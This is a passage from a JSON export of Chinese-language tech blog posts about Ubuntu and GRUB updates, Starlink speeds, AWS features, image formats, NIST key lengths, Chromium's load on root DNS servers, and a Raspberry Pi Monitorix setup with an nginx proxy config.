年的七月左右支援的)...\r\n\r\n這次 20.04 出來還不到半年居然支援了！",
    "title": "Travis CI 推出 20.04 的環境了"
  },
  {
    "id": "9661",
    "body": "看到 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 16.04 (xenial) 在 support cycle 剩下不到一年的時候推出了 16.04.7：「<a href=\"https://lists.ubuntu.com/archives/ubuntu-announce/2020-August/000261.html\">Ubuntu 16.04.7 LTS released</a>」。\r\n\r\n看起來主要是修正 <a href=\"https://en.wikipedia.org/wiki/GNU_GRUB\">GRUB</a> 的安全性問題：「<a href=\"https://ubuntu.com/security/notices/USN-4432-1\">USN-4432-1: GRUB 2 vulnerabilities</a>」。\r\n\r\n這次修正的 CVE 好像有點多，但全部都是與 GRUB 相關的... 另外可以看到包括 14.04 (trusty) 都有修正 (ESM，付費提供支援的版本)。\r\n\r\n目前手上大多數機器都是 18.04 (bionic) 與 20.04 (focal) 了，會在 16.04 (xenial) 主要是 <a href=\"https://en.wikipedia.org/wiki/OpenVZ\">OpenVZ</a> 的關係，雖然看起來還是有一台一直懶得動，該找機會弄一弄了...",
    "title": "Ubuntu 16.04 出更新了..."
  },
  {
    "id": "9662",
    "body": "<a href=\"https://en.wikipedia.org/wiki/SpaceX\">SpaceX</a> 的 <a href=\"https://en.wikipedia.org/wiki/Starlink\">Starlink</a> 已經有些人開始在測試了，在 <a href=\"https://www.speedtest.net/\">Speedtest.net</a> 上也已經有人挖到資料，可以看出他的延遲與速度了：「<a href=\"https://arstechnica.com/information-technology/2020/08/spacex-starlink-beta-tests-show-speeds-up-to-60mbps-latency-as-low-as-31ms/\">SpaceX Starlink speeds revealed as beta users get downloads of 11 to 60Mbps</a>」。\r\n\r\n報導的資料主要是從 <a href=\"https://old.reddit.com/\">Reddit</a> 上的拉出來的，如果要看原始的資料，可以參考「<a href=\"https://old.reddit.com/r/Starlink/comments/i9w09n/list_of_confirmed_starlink_speed_tests/\">List of Confirmed Starlink Speed Tests</a>」這篇列出來的連結。\r\n\r\n延遲可以低到 20ms 左右，不過比較常見是 30ms～40ms，高的時候可以看到 90ms 左右，這樣看起來頗有競爭性的，下載速度看起來也還不錯...\r\n\r\n目前看起來都是加州地區的測試，查了資料看起來是目前開放的區域有限 (加拿大南部與美國北部)，之後可以看開放其他地區的情況。\r\n\r\n另外未來如果更多衛星打上去，網路的品質應該會更好，不過對天文學家看起來是場災難，光害的問題看起來很嚴重，像這張曝兩秒的照片就可以看出來這六顆的情況：(出自「<a href=\"https://en.wikipedia.org/wiki/File:Starlink_6_satellites.jpg\">File:Starlink 6 satellites.jpg</a>」)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/boAwzT4.webp\" /><img src=\"https://i.gslin.com/imgur/boAwzT4.jpg\" alt=\"\" /></picture>",
    "title": "SpaceX Starlink 的延遲與速度"
  },
  {
    "id": "9664",
    "body": "在「<a href=\"https://daniel.haxx.se/blog/2020/08/19/curl-7-72-0-more-compression/\">curl 7.72.0 &#8211; more compression</a>」這邊看到新版的 <a href=\"https://en.wikipedia.org/wiki/CURL\">cURL</a> 要支援 <a href=\"https://en.wikipedia.org/wiki/Zstandard\">Zstandard</a> 了，查了一下發現 Zstandard 有對應的 RFC，在 RFC 8478：「<a href=\"https://tools.ietf.org/html/rfc8478\">Zstandard Compression and the application/zstd Media Type</a>」。\r\n\r\n對應到 server 端的部份，看起來可以用 <a href=\"https://github.com/tokers/zstd-nginx-module\">tokers/zstd-nginx-module</a> 搭 (在 <a href=\"https://nginx.org/\">nginx</a> 環境下)，不然就是 application 端要自己壓縮了。\r\n\r\n不過普及率比較高的演算法是 <a href=\"https://www.google.com/\">Google</a> 主導的 <a href=\"https://en.wikipedia.org/wiki/Brotli\">Brotli</a>，查了一下壓縮率大概在同一個等級。\r\n\r\n<a href=\"https://www.facebook.com/\">Facebook</a> 沒有自家瀏覽器，推這些東西比較辛苦一點，但這次 cURL 決定支援 Zstandard 算是一個開始，讓開發者多了一個選擇可以用...",
    "title": "cURL 支援 Zstandard"
  },
  {
    "id": "9665",
    "body": "在「<a href=\"https://www.backblaze.com/blog/backblaze-hard-drive-stats-q2-2020/\">Backblaze Hard Drive Stats Q2 2020</a>」這邊又有資料可以看啦，主要是這張表：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zSq2Pzy.webp\" /><img src=\"https://i.gslin.com/imgur/zSq2Pzy.jpg\" alt=\"\" /></picture>\r\n\r\n比較讓我注意到的是，其中有個一千台的 <code>HUH728080ALE600</code>，AFR 居然是 0.00%，仔細看算了一下發現應該是弄來一批貨，上線約三個月 (91 天)，而目前還沒有壞掉而已...\r\n\r\n不過 <code>HUH728080ALE600</code> 這個料號很有趣啊，在搜尋的時候發現 <a href=\"https://www.ptt.cc/\">Ptt</a> 上 2018 年的文章「<a href=\"https://www.ptt.cc/bbs/Storage_Zone/M.1523507927.A.C03.html\">Re: [請益] 關於HUH728080ALE604 這顆8t硬碟</a>」這邊有提到這個號碼，裡面有猜測這個料號的來源：\r\n\r\n<pre>查了一下發現有趣的事實\r\n國外資料都指出,OEM的原廠HGST沒有給予保固\r\n且驗證序號會是無效的序號\r\n但中國地區驗證 OEM序號卻是有效\r\n所以合理懷疑HGST將生產過剩的 OEM產品轉到中國銷售?\r\n並將這些 OEM序號登錄至HGST資料庫內\r\n當然這些標籤都是貼HGST的, 貼DELL或HP標的都是查無有效序號\r\n而且這些都是保五年, 保固低於五年可能就是有問題的\r\nHUH728080ALE600 是目前有看到在中國銷售的\r\n當然這都是沒有外盒包裝</pre>\r\n\r\n不知道 Backblaze 是怎麼弄到這批貨的...\r\n\r\n不過就算不管這批貨，<a href=\"https://en.wikipedia.org/wiki/HGST\">HGST</a> 整體上看起來還是很不錯，不過現在掛 HGST 的應該都是庫存了。",
    "title": "Backblaze 的 2020Q2 硬碟報告"
  },
  {
    "id": "9668",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 更新了 <a href=\"https://docs.aws.amazon.com/vpn/latest/s2svpn/VPNTunnels.html\">Site-to-Site VPN</a>：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/08/aws-site-to-site-vpn-now-supports-additional-encryption-integrity-key-exchange-algorithms/\">AWS Site-to-Site VPN now supports additional encryption, integrity and key exchange algorithms</a>」。\r\n\r\n這次更新支援了一些新的演算法，其中 AES-GCM 的部份看起來是這次這波最重要的：\r\n\r\n<blockquote>Encryption: AES128-GCM-16, AES256-GCM-16.\r\nIntegrity: SHA2-384, SHA2-512.\r\nDiffie-Hellman groups: 19, 20, 21.</blockquote>\r\n\r\n傳統的方式是 encryption algorithm + hash algorithm 搭配，所以就會出現各種排列組合，而不同的方式在實做上很容易出現安全問題，也就是這篇在討論的：「<a href=\"https://crypto.stackexchange.com/questions/202/should-we-mac-then-encrypt-or-encrypt-then-mac\">Should we MAC-then-encrypt or encrypt-then-MAC?</a>」。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/AEAD\">AEAD</a> 試著用一包解決，對於實做的安全性好不少...",
    "title": "AWS Site-to-Site VPN 支援 AES-GCM 了"
  },
  {
    "id": "9671",
    "body": "看到「<a href=\"https://reachlightspeed.com/blog/using-the-new-high-performance-avif-image-format-on-the-web-today/\">How to Use AVIF: The New Next-Gen Image Compression Format</a>」這篇在推銷用 <a href=\"https://en.wikipedia.org/wiki/AVIF\">AVIF</a> 取代 <a href=\"https://en.wikipedia.org/wiki/JPEG\">JPEG</a> 與 <a href=\"https://en.wikipedia.org/wiki/WebP\">WebP</a>。\r\n\r\n首先是跑去 <a href=\"https://caniuse.com/\">Can I Use</a> 翻，發現 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 85 之後支援了，另外在「<a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=960620\">Issue 960620: Support AVIF</a>」這邊可以看到對應的 ticket，以及「<a href=\"https://www.chromestatus.com/feature/4905307790639104\">AVIF Image Decode</a>」這邊有狀態：\r\n\r\n<blockquote>Enabled by default (tracking bug) in:\r\nChrome for desktop release 85</blockquote>\r\n\r\n現在的 stabel channel 是 84，所以是下個 release 就會有了。以 Google Chrome 的市占率來說，推出來等於是支援度直接過半... 這點也的確有人批評，不過又是另外一個話題了。\r\n\r\n對於不支援 AVIF 的瀏覽器，也有對應的 polyfill 可以上 (用 javascript 去補功能)，不過因為是透過 <a href=\"https://en.wikipedia.org/wiki/AV1\">AV1</a> codec，能夠向下支援的版本還是不多，除非連 AV1 都透過 polyfill 支援：「<a href=\"https://github.com/Kagami/avif.js\">AVIF (AV1 Still Image File Format) polyfill for the browser</a>」。\r\n\r\n另外在寫「<a href=\"https://blog.gslin.org/archives/2020/06/25/9588/webp-%e7%9a%84%e6%aa%94%e6%a1%88%e5%a4%a7%e5%b0%8f%e6%9c%aa%e5%bf%85%e6%af%94-jpeg-%e5%b0%8f/\">WebP 的檔案大小未必比 JPEG 小...</a>」這篇時有提過 AVIF 其實也不是完美的，畢竟是從 video codec 演化來的演算法，對於演算法判斷不重要的部位會掉比較多細節...",
    "title": "Chrome 85 支援 AVIF"
  },
  {
    "id": "9674",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到五家公司都準備要上市而丟出 <a href=\"https://en.wikipedia.org/wiki/Form_S-1\">Form S-1</a> 的情況頗熱鬧的，申請文件可以在「<a href=\"https://www.sec.gov/Archives/edgar/data/1477720/000119312520228462/d855753ds1.htm\">ASANA, INC. (d855753ds1.htm)</a>」、「<a href=\"https://www.sec.gov/Archives/edgar/data/1810806/000119312520227862/d908875ds1.htm\">UNITY SOFTWARE INC. (d908875ds1.htm)</a>」、「<a href=\"https://www.sec.gov/Archives/edgar/data/1640147/000162828020013010/snowflakes-1.htm\">Snowflake Inc. (snowflakes-1.htm)</a>」、「<a href=\"https://www.sec.gov/Archives/edgar/data/1643269/000119312520227201/d821436ds1.htm\">Sumo Logic, Inc. (d821436ds1.htm)</a>」與「<a href=\"https://www.sec.gov/Archives/edgar/data/1800667/000119312520228195/d841831ds1.htm\">JFrog Ltd. (d841831ds1.htm)</a>」這邊翻到。\r\n\r\n當然很多人都有類似的疑問，就是為什麼大家突然都急著要 <a href=\"https://en.wikipedia.org/wiki/Initial_public_offering\">IPO</a>，在「<a href=\"https://news.ycombinator.com/item?id=24265456\">Ask HN: There are 5 S-1 posts on the front page, what explains the rush?</a>」這邊有些討論，而且也提到了一些有趣的現象，像是這五家公司到目前都是虧錢的，不過這已經是這幾年的常態了，倒是沒什麼需要大驚小怪的：\r\n\r\n<blockquote>Asana lost 120m last year\r\nSnowflake lost 350m last year\r\nUnity lost 160m last year\r\nSumo Logic lost 43m last year\r\nJfrog lost 400k last year\r\n\r\nOut of curiosity, is it normal for companies to IPO this far away from profitability, or is this a recent tech thing? I feel like it was a big deal when uber IPO'd so far away from profitability, now it seems standard.</blockquote>\r\n\r\n有人猜測跟美國選舉有關，不過也就只有帶出來猜測...",
    "title": "五家公司提出 Form S-1：Asana、Unity、Snowflake、sumo logic、JFrog"
  },
  {
    "id": "9675",
    "body": "看到「<a href=\"https://www.splitgraph.com/blog/data-delivery-network-launch\">Port 5432 is open: introducing the Splitgraph Data Delivery Network</a>」這個，<a href=\"https://www.splitgraph.com/\">Splitgraph</a> 把 public dataset 轉成 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 服務：\r\n\r\n<blockquote>We launch the Splitgraph Data Delivery Network: a single endpoint that lets any PostgreSQL application, client or BI tool to connect and query over 40,000 public datasets hosted or proxied by Splitgraph.</blockquote>\r\n\r\n這樣看起來可以讓很多 BI 工具直接接進來用，如果再支援 <a href=\"https://en.wikipedia.org/wiki/ODBC\">ODBC</a> 或是 <a href=\"https://en.wikipedia.org/wiki/JDBC\">JDBC</a> 的話通用性就更好了，但目前沒看到定價策略 (感覺應該頗好賣的？)，應該是還在開發階段？\r\n\r\n丟給公司內 data team 看一下好了，如果資料的品質沒問題的話，感覺會是個好用的服務...",
    "title": "Splitgraph 把公開資料轉成 PostgreSQL 服務"
  },
  {
    "id": "9677",
    "body": "<a href=\"https://aws.amazon.com/ebs/\">Amazon EBS</a> 保障 IO 效能的版本 Provisioned IOPS <code>io1</code> 進化了，推出了 Provisioned IOPS <code>io2</code>：「<a href=\"https://aws.amazon.com/blogs/aws/new-ebs-volume-type-io2-more-iops-gib-higher-durability/\">New EBS Volume Type (io2) – 100x Higher Durability and 10x More IOPS/GiB</a>」。\r\n\r\n目前先看了一下美國與新加坡的價錢，應該都還是一樣，看起來這次主要是功能性上的進步，有兩個比較顯著的改變。\r\n\r\n第一個是每 GB 可以租用的 IOPS 數量上升了，<code>io1</code> 是 50 IOPS，在 <code>io2</code> 給到 500 IOPS；不過最大值不變，都還是 64k IOPS。這個看起來對於追求 IOPS 的人彈性增加不少，不過算了一下成本差距應該是還好，以最大的 64k IOPS 來算，光 IOPS 的費用就要 USD$4160/month，而最低的空間租量上，<code>io1</code> 租 1280 GB (USD$160/month) 與 <code>io2</code> 租 128 GB (USD$16/month) 在這個部分只能算零頭了...\r\n\r\n第二個是持久性 (durability)，從 <code>io1</code> 的 99.9% 到 <code>io2</code> 變成 99.999% 了，這邊應該主要是受益於這十年 SSD 技術的進步。我猜本來的 <code>io1</code> 其實也拉高不少，只是 SLA 合約上沒有增加而已...\r\n\r\n應該還是會守在 <code>gp2</code> 上，便宜大碗，不過效能的保證少了些，對於一般性的應用來說應該是夠用。",
    "title": "Amazon EBS 推出新的 io2 類型"
  },
  {
    "id": "9678",
    "body": "在「<a href=\"https://gravitational.com/blog/comparing-ssh-keys/\">Comparing SSH Encryption Algorithms - RSA, DSA, ECDSA, or EdDSA?</a>」這邊一路翻到「<a href=\"https://www.keylength.com/en/4/\">Keylength - NIST Report on Cryptographic Key Length and Cryptoperiod (2020)</a>」這篇，裡面引用的是 <a href=\"https://www.nist.gov/\">NIST</a> 的「<a href=\"https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf\">NIST Special Publication 800-57 Part 1 Revision 5</a>」。\r\n\r\n在 NIST 的文件裡面，不同的演算法散落在不同地方，<a href=\"https://www.keylength.com/\">Keylength</a> 整理起來後比較方便看。\r\n\r\n想要特別拉出來講是因為看到 RSA 2048 bits 被放到 112 這個等級 (Security Strength)，我一直以為是 128，不過查了一下發現好像以前是就 112 了...",
    "title": "NIST 對密碼學演算法建議的長度 (2020 版)"
  },
  {
    "id": "9679",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 的首頁上看到有趣的文章，在講怎麼搞個小機櫃弄起來專業一點的玩：「<a href=\"https://haydenjames.io/home-lab-beginners-guide-hardware/\">Home Lab Beginners guide – Hardware</a>」，對應的評論在「<a href=\"https://news.ycombinator.com/item?id=24270116\">Building a Home Lab Beginners Guide (haydenjames.io)</a>」這邊可以看到。\r\n\r\n<img src=\"https://i.gslin.com/imgur/5ewDFfD.jpg\" alt=\"\" />\r\n\r\n照這個搞法好像可以塞兩三台 1U server，不過搞的大太就會像 <a href=\"https://en.wikipedia.org/wiki/Brad_Fitzpatrick\">Brad Fitzpatrick</a> 搞的那樣，直接上 42U rack 了 XDDD\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Rack upgrade. <a href=\"https://twitter.com/hashtag/homelab?src=hash&amp;ref_src=twsrc%5Etfw\">#homelab</a> <a href=\"https://t.co/KeUTukjmq7\">pic.twitter.com/KeUTukjmq7</a></p>&mdash; bradfitz (@bradfitz) <a href=\"https://twitter.com/bradfitz/status/1011752844116914176?ref_src=twsrc%5Etfw\">June 26, 2018</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這好像也算是某種浪漫？",
    "title": "家裡搞小機櫃的文章"
  },
  {
    "id": "9680",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的人寫了一篇怎麼對 <a href=\"https://aws.amazon.com/rds/aurora/mysql-features/\">Amazon Aurora (MySQL-Compatible Edition)</a> 生 replica 的文章：「<a href=\"https://www.percona.com/blog/2020/08/26/creating-an-external-replica-of-aws-aurora-mysql-with-mydumper/\">Creating an External Replica of AWS Aurora MySQL with Mydumper</a>」。\r\n\r\n這邊用的方法主要是出自「<a href=\"https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/Aurora.Replication.html\">Replication with Amazon Aurora</a>」這篇，裡面有提到有 binlog 可以用，所以 Percona 的作法應該是屬於「雖然不能 100% 保證以後還是可以用，但 99% 的機會以後應該還是可以用」。\r\n\r\n這樣搞主要應該是用在 1) 省錢，2) 需要特殊的調整；如果不是這兩種，一般會選 <a href=\"https://aws.amazon.com/rds/aurora/\">Aurora</a> 版本，應該不會太在意成本，直接用他提供的 read replica 就好？",
    "title": "對 Amazon Aurora (MySQL-Compatible Edition) 另外建 Replica"
  },
  {
    "id": "9681",
    "body": "前幾天在 <a href=\"https://www.apnic.net/\">APNIC</a> 上的這篇文章受到社群注意：「<a href=\"https://blog.apnic.net/2020/08/21/chromiums-impact-on-root-dns-traffic/\">Chromium’s impact on root DNS traffic</a>」，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上也有對應的討論：「<a href=\"https://news.ycombinator.com/item?id=24231857\">Chromium's Impact on Root DNS Traffic (apnic.net)</a>」。\r\n\r\n文章作者 <a href=\"https://www.verisign.com/en_US/company-information/verisign-labs/innovators/matt-thomas/index.xhtml\">Matthew Thomas</a> 是 <a href=\"https://www.verisign.com/\">Verisign</a> 的員工 (Verisign Labs)，可以看出來主力在 DNS 的部份。\r\n\r\n<a href=\"https://www.chromium.org/\">Chromium</a> (以及 <a href=\"https://en.wikipedia.org/wiki/Google_Chrome\">Google Chrome</a>) 會隨機產生一組 hostname，確認所在的網路是否有 DNS hijack：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/YZalb2R.webp\" /><img src=\"https://i.gslin.com/imgur/YZalb2R.jpg\" alt=\"\" /></picture>\r\n\r\n這導致了在 Root DNS 上會看到大量不存在網域的 DNS query，這點隨著 Google Chrome 的市占率愈來愈高，在 Root DNS 上這些 DNS query 甚至佔到 40% 以上：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/abB3P9h.webp\" /><img src=\"https://i.gslin.com/imgur/abB3P9h.jpg\" alt=\"\" /></picture>\r\n\r\n不過 <a href=\"https://root-servers.org/\">Root Server</a> 有上千台在跑，就目前的效能來說應該是還 OK：\r\n\r\n<blockquote>As of 2020-08-27, the root server system consists of 1097 instances operated by the 12 independent root server operators.</blockquote>\r\n\r\n把這個問題丟到 <a href=\"https://bugs.chromium.org/\">bugs.chromium.org</a> 上翻，看起來有三張票在進行中：\r\n\r\n<ul>\r\n\t<li><a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=479620\">Issue 479620: Security: Omnibox data privacy leak and MITM vulnerability</a></li>\r\n\t<li><a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=946450\">Issue 946450: intranet redirect detector probes reaching DNS root servers</a></li>\r\n\t<li><a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=1090985\">Issue 1090985: Disable Intranet Redirect Detector by default</a></li>\r\n</ul>\r\n\r\n瞄了一下裡面的討論，目前的方向有兩類，一種是主張完全關掉，這樣確定可以大幅減少對 Root DNS 的壓力，另外一種是設計 cache，使得 Root DNS 的 loading 降低。\r\n\r\n這次有不少新聞都有報導，受到 PR 壓力看起來是動起來了... (這三張票看起來之前都沒什麼人有動力要處理)",
    "title": "Chromium (Google Chrome) 實做對 Root DNS 的影響"
  },
  {
    "id": "9682",
    "body": "先前我家裡的有線電視網路上我放了一顆 <a href=\"https://www.raspberrypi.org/\">Raspberry Pi</a> 跑各種分析，包括用 <a href=\"https://en.wikipedia.org/wiki/MRTG\">MRTG</a> 抓流量與溫度，還有用 <a href=\"https://oss.oetiker.ch/smokeping/\">SmokePing</a> 抓網路狀況。\r\n\r\n前幾天系統掛了，本來以為是 SD 卡掛掉，換了一張上去發現還是開不了機，後來才發現是板子掛了，記得這張板子是當年還在 K 社時 <a href=\"https://zonble.net/\">zonble</a> 送的，記得是當年一代剛出沒多久很紅，算了一下這台也跑了七八年了...\r\n\r\n網路上找了一下找到了便宜的 Raspberry Pi 3，弄了回來後裝一裝，剛好最近接觸 <a href=\"https://www.monitorix.org/\">Monitorix</a> 後發現裡面已經有很多現成的設定設好，只要開起來就可以自己抓到...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DVZDNMt.webp\" /><img src=\"https://i.gslin.com/imgur/DVZDNMt.jpg\" alt=\"\" /></picture>\r\n\r\n現在的版本自帶 HTTP server，但我希望透過 <a href=\"https://nginx.org/\">nginx</a> 轉進去 (包成 HTTPS)，這樣的話需要在 <code>/etc/monitorix/monitorix.conf</code> 裡加上：\r\n\r\n<pre>url_prefix_proxy = https://rpi.gslin.com/</pre>\r\n\r\n如果想要抓 Raspberry Pi 的電壓與溫度資訊，只要把檔案裡面的 <code>raspberrypi = n</code> 改成 <code>raspberrypi = y</code> 就可以了。\r\n\r\n在 nginx 裡面把 <code>/monitorix</code> 與 <code>/monitorix-cgi</code> 轉進去，像是這樣的設髮：\r\n\r\n<pre>\r\n    location /monitorix {\r\n        proxy_pass http://127.0.0.1:8080/monitorix;\r\n    }\r\n\r\n    location /monitorix-cgi {\r\n        proxy_pass http://127.0.0.1:8080/monitorix-cgi;\r\n    }\r\n</pre>\r\n\r\n比起自己搞 MRTG 設定一堆 shell script 簡單多了，<code>cfgmaker</code> 跟 <code>indexmaker</code> 用起來還是不順手。\r\n\r\n不過 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 上要 20.04 才有內建包進來，18.04 看起來沒有：「<a href=\"https://packages.ubuntu.com/search?keywords=monitorix\">Ubuntu – Package Search Results -- monitorix</a>」，目前還沒有在 18.04 上跑的需求，之後遇到再看看要怎麼處理...",
    "title": "用 Monitorix 代替自己搞的 MRTG"
  },
  {
    "id": "9684",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 在 Los Angeles 開了第二個 Local Zone：「<a href=\"https://aws.amazon.com/blogs/aws/announcing-a-second-local-zone-in-los-angeles/\">Announcing a second Local Zone in Los Angeles</a>」，所以現在兩個 zone 的代碼分別是 <code>us-west-2-lax-1a</code> 與 <code>us-west-2-lax-1b</code>。\r\n\r\n稍微回頭複習一下，發現大阪區 (Local Region) 跟東京的直線距離大約是 400km 左右，但如果是以 Los Angeles (Local Zone) 與 Portland 的話則是 1300km 左右，如果是 Seattle 的話就會到 1500km 左右。\r\n\r\n而且 Los Angeles 的 Local Zone 是掛在 <code>us-west-2</code> 而不是 <code>us-west-1</code> (N. California) 上面，看起來這兩個主要的差異是在商業考量上，<code>us-west-2</code> 應該是目前的主力 (從各種產品推出的發佈時程看得出來)，所以才會這樣規劃...\r\n\r\n回頭翻「<a href=\"https://blog.gslin.org/archives/2019/12/04/9312/aws-%E5%9C%A8-us-west-2-%E9%96%8B-local-zone/\">AWS 在 us-west-2 開 Local Zone</a>」這篇的時候，發現當時我應該是把 Local Region 與 Local Zone 搞混了...",
    "title": "AWS 在 Los Angeles 開第二個 Local Zone"
  },
  {
    "id": "9685",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出可以讓你 debug 的功能：「<a href=\"https://aws.amazon.com/blogs/aws/log-your-vpc-dns-queries-with-route-53-resolver-query-logs/\">Log your VPC DNS queries with Route 53 Resolver Query Logs</a>」。\r\n\r\n這個功能可以記錄 <a href=\"https://aws.amazon.com/vpc/\">VPC</a> 內的 DNS query：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WbC7nHC.webp\" /><img src=\"https://i.gslin.com/imgur/WbC7nHC.jpg\" alt=\"\" /></picture>\r\n\r\n然後也可以統計與分析：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/p1qWoun.webp\" /><img src=\"https://i.gslin.com/imgur/p1qWoun.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vhvOcId.webp\" /><img src=\"https://i.gslin.com/imgur/vhvOcId.jpg\" alt=\"\" /></picture>\r\n\r\n主要是很多 debug 會需要 DNS query，但 AWS 上不太容易看到 DNS query 資訊 (常見的方式是自己另外架 DNS Resolver)，這個功能可以緩解這個問題...",
    "title": "AWS 推出 Route 53 Resolver Query Logs"
  },
  {
    "id": "9686",
    "body": "看到「<a href=\"https://github.com/hediet/vscode-debug-visualizer/tree/master/extension\">Debug Visualizer</a>」這個 extension，在 <a href=\"https://en.wikipedia.org/wiki/Visual_Studio_Code\">VS Code</a> 裡把 debug 過程視覺化：\r\n\r\n<img src=\"https://i.gslin.com/imgur/mr9LgRC.gif\" alt=\"\" />\r\n\r\n沒有在用 VS Code，不過這個功能對於需要在腦袋裡面模擬時的 loading 抽出來，看起來還不錯啊 XD",
    "title": "VS Code 上的 Debug Visualizer"
  },
  {
    "id": "9687",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 的首頁上看到的，昨天 <a href=\"https://www.level3.com/\">Level3</a> 看起來有大規模異常：「<a href=\"https://puck.nether.net/pipermail/outages/2020-August/013187.html\">[outages] Level3 (globally?) impacted (IPv4 only)</a>」，對應的討論串在「<a href=\"https://news.ycombinator.com/item?id=24322861\">Level 3 Global Outage (nether.net)</a>」這邊。\r\n\r\n參考「<a href=\"https://asrank.caida.org/\">AS Rank: A ranking of the largest Autonomous Systems (AS) in the Internet.</a>」這邊可以看到 Level 3 目前的排名是 #1，這次大規模故障影響的範圍會讓很多人都有感覺...\r\n\r\n比較好玩的是有個 mailing list 在討論這種狀況的：「<a href=\"https://puck.nether.net/mailman/listinfo/outages\">Outages -- Outages (planned & unplanned) Reporting.</a>」，雖然上面的人看起來不多就是了...",
    "title": "斷線討論的 mailing list"
  },
  {
    "id": "9689",
    "body": "來清個瀏覽器上的 tab，<a href=\"https://github.com/sovereign/sovereign\">sovereign</a> 是個 ansible playbook，幫你架設各種服務：\r\n\r\n<blockquote>Sovereign is a set of Ansible playbooks that you can use to build and maintain your own personal cloud based entirely on open source software, so you’re in control.</blockquote>\r\n\r\n裡面包了許多服務，但看下來比較麻煩的是郵件相關的服務，現在要自己搞一整包郵件系統一直都是痛點，這點在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上偶而就會看到分享...\r\n\r\n這包 ansible playbook 裡面跟郵件相關的部份包括了 <a href=\"https://en.wikipedia.org/wiki/Postfix_(software)\">Postfix</a> 與 <a href=\"https://www.dovecot.org/\">Dovecot</a> 搭出基本的 SMTP + IMAP + POP3，另外用 <a href=\"https://lucene.apache.org/solr/\">Solr</a> (全文搜尋)、<a href=\"https://www.postgresql.org/\">PostgreSQL</a> (Virtual domain)、<a href=\"https://www.rspamd.com/\">Rspamd</a> (擋 spam)，<a href=\"https://en.wikipedia.org/wiki/DKIM\">DKIM</a> 與 <a href=\"https://en.wikipedia.org/wiki/DMARC\">DMARC</a> (郵件來源認證機制)，以及 <a href=\"https://roundcube.net/\">Roundcube</a> (Webmail)。\r\n\r\n非郵件相關的話包括了 VPN、cloud storage，以及一些管理、安全、備份有關的服務可以用，看起來的確是把常用的東西都放進去了。\r\n\r\n不過這種東西自己架是有自己架的「樂趣」，而且對底層掌握度也比較高 (尤其是又有隱私與安全性的考量)，對應的客群應該會看一看架構，然後自己動手？",
    "title": "自己架設各種服務的 ansible playbook：Sovereign"
  },
  {
    "id": "9690",
    "body": "這個系列是從『<a href=\"https://blog.gslin.org/archives/2020/02/15/9408/mit-%e7%9a%84%e3%80%8cthe-missing-semester-of-your-cs-education%e3%80%8d/\">MIT 的「The Missing Semester of Your CS Education」</a>』這邊延伸出來的，這邊講的是「<a href=\"https://missing.csail.mit.edu/2020/command-line/\">Command-line Environment</a>」這篇。\r\n\r\n開始聊之前先看一下其他的東西，我注意到這系列文章有簡體中文 (<a href=\"https://missing-semester-cn.github.io/\">這裡</a>，已經翻完) 與繁體中文 (<a href=\"https://missing-semester-zh-hant.github.io/\">這裡</a>，還有幾篇還沒翻完) 的版本了，如果讀英文會比較累的人可以參考看看。\r\n\r\n這堂講 command line 下的各種事情，感覺起來比起前面硬不少。\r\n\r\n首先就先開始講 signal，各家系統的 signal 應該還是有些微差異，可以參考各家的 <code>signal(7)</code> (在 command line 下用 <code>man 7 signal</code> 可以列出來)。\r\n\r\n這邊講的 signal 都比較通用，像是 <code>SIGKILL</code> 的殺傷力，<code>SIGTERM</code> 與 <code>SIGQUIT</code>，然後有提到 <code>SIGHUP</code>，但 <code>SIGHUP</code> 的設計慣例是拿來重讀設定檔好像就沒提到了...\r\n\r\n接下來就帶過 <a href=\"https://en.wikipedia.org/wiki/Tmux\">tmux</a>，只大概講了一下概念 (sessions、windows、panes) 與用法。\r\n\r\n然後講 shell 的 alias 對於打造環境的幫助，以及 dotfiles 的設計。\r\n\r\n後面講 <a href=\"https://en.wikipedia.org/wiki/SSH\">SSH</a> 的應用，然後還提到了兩個不同方向的 port forwarding。\r\n\r\n這些對於初學者來說應該蠻有幫助的，第一次打造自己的 shell environment 的過程應該還蠻有趣的？(已經是很久前了...)",
    "title": "第五堂：「Command-line Environment」"
  },
  {
    "id": "9691",
